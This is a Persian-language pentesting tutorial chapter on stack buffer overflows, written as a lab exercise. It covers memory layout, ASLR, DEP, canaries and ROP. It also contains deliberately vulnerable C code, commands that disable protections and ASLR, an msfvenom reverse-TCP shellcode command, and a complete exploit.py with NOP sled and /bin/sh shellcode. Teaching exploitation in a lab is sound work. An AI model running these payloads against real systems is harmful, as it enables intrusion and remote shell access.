فصل ۱۰: سرریز بافر
ساختار حافظه (Stack و Heap)، سرریز بافر مبتنی بر پشته، NOP sled و shellcode، مکانیزمهای محافظت (ASLR، DEP، Stack Canary) و مفهوم ROP chain با مثال عملی کد C آسیبپذیر و GDB.
سرریز بافر چیست؟
سرریز بافر (Buffer Overflow) زمانی رخ میدهد که یک برنامه دادهای بیش از ظرفیت بافر تعریفشده در حافظه دریافت میکند و داده اضافی به فضای حافظه مجاور نشت میکند. این نشت میتواند ساختارهای کنترلی برنامه را بازنویسی کند و به مهاجم امکان دهد جریان اجرا را به کد دلخواه خود هدایت کند.
سرریز بافر نخستین بار در سال ۱۹۸۸ با کرم Morris به شهرت رسید و با وجود دههها پیشرفت در مکانیزمهای دفاعی، همچنان یکی از ریشهایترین کلاسهای آسیبپذیری است. بسیاری از CVEهای بحرانی مانند Heartbleed یا EternalBlue در همین دسته قرار میگیرند.
ساختار حافظه یک فرایند
هر فرایند در اجرا، فضای حافظه مجازی خود را به چند بخش تقسیم میکند:
| بخش | کاربرد | جهت رشد |
|---|---|---|
| Text | کد اجرایی برنامه | ثابت |
| Data | متغیرهای سراسری و static | ثابت |
| Heap | تخصیص پویا (malloc) | به سمت آدرس بالا |
| Stack | فراخوانی توابع و متغیرهای محلی | به سمت آدرس پایین |
پشته (Stack) منطقهای است که در آن فراخوانی هر تابع، یک قاب (frame) جدید میسازد شامل متغیرهای محلی، پارامترها، آدرس بازگشت (return address) و فریمپوینتر. سرریز بافر مبتنی بر پشته با بازنویسی آدرس بازگشت، کنترل را به آدرس دلخواه مهاجم منتقل میکند.
سرریز بافر مبتنی بر پشته
کد آسیبپذیر
// فایل: vuln.c
#include <string.h>
#include <stdio.h>
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); // بدون بررسی طول!
printf("Received: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable(argv[1]);
return 0;
}تابع strcpy هیچ کنترلی روی طول ورودی ندارد. اگر ورودی بیش از ۶۴ بایت باشد، بافر سرریز کرده و به متغیرهای مجاور، سپس فریمپوینتر و در نهایت آدرس بازگشت میرسد.
کامپایل با غیرفعالسازی محافظتها
برای تمرین، میتوانید محافظتهای مدرن را غیرفعال کنید:
# کامپایل ۳۲ بیتی بدون stack protector و با stack قابل اجرا
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
# بررسی غیرفعال بودن ASLR برای این تست
echo 0 | sudo tee /proc/sys/kernel/randomize_va_spaceدیباگ با GDB
# اجرای GDB
gdb ./vuln
# ساخت الگو برای تشخیص آفست
(gdb) run AAAAAAAA
# مشاهده ثباتها
(gdb) info registers eip
# eip: 0x41414141 (AAAA)
# ساخت الگوی یکتا با pattern_create
(gdb) run $(python -c "print('A'*100)")
(gdb) info registers eipاگر eip با 0x41414141 پر شده باشد (یعنی AAAA)، یعنی آدرس بازگشت بازنویسی شده است.
یافتن آفست دقیق
ابزار pattern_create و pattern_offset از Metasploit برای یافتن آفست دقیق بهکار میآیند:
# ساخت الگوی ۲۰۰ کاراکتری
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# اجرای برنامه با الگو
./vuln Aa0Aa1Aa2...
# مشاهده مقدار EIP پس از کرش (مثلاً 0x63413563)
# یافتن آفست
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 63413563
# خروجی: [*] Exact match at offset 76این یعنی ۷۶ بایت اول بافر را پر میکنیم و سپس ۴ بایت بعدی آدرس بازگشت است.
NOP Sled و Shellcode
NOP Sled
دستورالعمل NOP (No Operation) با کد ماشین 0x90 هیچ کاری انجام نمیدهد جز اینکه به دستور بعدی پرش میکند. یک زنجیره از NOPها به نام NOP Sled به مهاجم اجازه میدهد حتی اگر آدرس دقیق بافر را نداشته باشد، با پرش به هر نقطه از ناحیه NOP، اجرا بهطور خودکار به shellcode برسد.
Shellcode
شلکد کد ماشین است که مستقیماً در حافظه اجرا میشود و معمولاً یک پوسته (shell) باز میکند. یک شلکد ساده میتواند execve("/bin/sh", NULL, NULL) را فراخوانی کند.
# تولید شلکد با msfvenom
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
-b '\x00\x0a\x0d' -f python
# -b: کاراکترهای ممنوع (bad chars)
# -f: فرمت خروجیمونتاژ اکسپلویت
# فایل: exploit.py
import struct
offset = 76
nop_sled = b'\x90' * 32
# آدرس بازگشت به بافر (نیازمند یافتن آدرس دقیق در GDB)
ret_addr = struct.pack('<I', 0xffffd4f0)
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
payload = b'A' * offset + ret_addr + nop_sled + shellcode
import sys
sys.stdout.buffer.write(payload)سپس اجرا میکنید:
# اجرای اکسپلویت
(python exploit.py; cat) | ./vulnمکانیزمهای محافظت مدرن
| مکانیزم | کاربرد | وضعیت در سال ۲۰۲۶ |
|---|---|---|
| ASLR | تصادفیسازی آدرسهای حافظه | پیشفرض در همه OS |
| DEP / NX | جلوگیری از اجرای کد در پشته | پیشفرض در همه OS |
| Stack Canary | تشخیص سرریز پشته | پیشفرض در GCC و MSVC |
| PIE | تصادفیسازی کد اجرایی | پیشفرض در اکثر باینریها |
| RELRO | جلوگیری از بازنویسی GOT | پیشفرض در سیستمهای مدرن |
| CFI | یکپارچگی جریان کنترل | در حال گسترش |
ASLR (Address Space Layout Randomization)
ASLR آدرسهای پایه پشته، heap و کتابخانهها را در هر بار اجرا تصادفی میکند. این کار موجب میشود آدرس دقیق shellcode یا تابع بازگشت قابل پیشبینی نباشد.
DEP / NX (Data Execution Prevention)
DEP یا NX بیت مارکگذاری صفحات حافظه را بهعنوان غیرقابل اجرا تعیین میکند. حتی اگر مهاجم بتواند کد خود را در پشته بنویسد، نمیتواند آن را اجرا کند.
Stack Canary
کامپایلر یک مقدار تصادفی (canary) بین بافر و آدرس بازگشت قرار میدهد. اگر سرریز اتفاق بیفتد، این مقدار تغییر میکند و قبل از بازگشت از تابع، برنامه تشخیص میدهد و متوقف میشود.
دور زدن محافظتها با ROP
برای دور زدن DEP/NX، از تکنیک ROP (Return-Oriented Programming) استفاده میشود. در ROP، مهاجم بهجای تزریق کد جدید، از قطعات کد موجود در کتابخانهها (به نام gadgets) استفاده میکند. هر gadget با دستور ret تمام میشود و میتوان آنها را به هم زنجیر کرد تا منطق دلخواه اجرا شود.
بهعنوان مثال، برای فراخوانی system("/bin/sh") میتوان چند gadget را به این شکل زنجیر کرد:
[padding 76 bytes]
[pop eax; ret] # آدرس gadget
[/bin/sh address]
[system address]ابزارهایی مانند ROPgadget و ropper برای یافتن gadgets بهکار میآیند:
# یافتن gadgets
ROPgadget --binary ./vuln
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6اکسپلویت در سال ۲۰۲۶
با ترکیب ASLR، DEP، Stack Canary و PIE، اکسپلویت کلاسیک سرریز بافر بهسختی روی باینریهای مدرن ممکن است. اکسپلویتنویسی مدرن نیازمند اطلاعات leak برای دور زدن ASLR و ساخت ROP chain برای دور زدن DEP است. اگر به این حوزه علاقهمند هستید، دورههایی مانند OSEE و AWE را بررسی کنید.
تمرین عملی — سرریز بافر در VM
یک ماشین مجازی Ubuntu ۳۲ بیتی راه بیندازید و این مراحل را دنبال کنید:
# ۱. کامپایل کد آسیبپذیر
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
# ۲. اجرای عادی
./vuln hello
# ۳. تست سرریز
./vuln $(python -c "print('A'*100)")
# ۴. دیباگ با GDB
gdb ./vuln
(gdb) run $(python -c "print('A'*100)")
(gdb) info registers eip
# ۵. یافتن آفست با pattern
(gdb) run $(/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200)
(gdb) info registers eip
# ۶. یافتن آدرس shellcode با env
gdb ./vuln
(gdb) break main
(gdb) run AAAA
(gdb) x/200x $espخلاصه و گام بعدی
در این فصل با ساختار حافظه فرایند، مکانیزم سرریز بافر مبتنی بر پشته، NOP sled و shellcode آشنا شدید. سپس مکانیزمهای محافظت مدرن (ASLR، DEP، Stack Canary، PIE) و تکنیک دور زدن آنها با ROP را مرور کردید. اکسپلویتنویسی یکی از حساسترین و فنیترین حوزههای تست نفوذ است و نیازمند درک عمیق از معماری CPU و سیستمعامل است.
در فصل بعد، با تحلیل ترافیک شبکه آشنا میشوید؛ جایی که با Wireshark و tcpdump، ترافیک مشکوک را تحلیل، اعتبارنامههای منتقلشده را استخراج و ارتباطات C2 بدافزار را شناسایی میکنید.
این صفحه در تاریخ ۸ تیر ۱۴۰۵ بهروزرسانی شده است.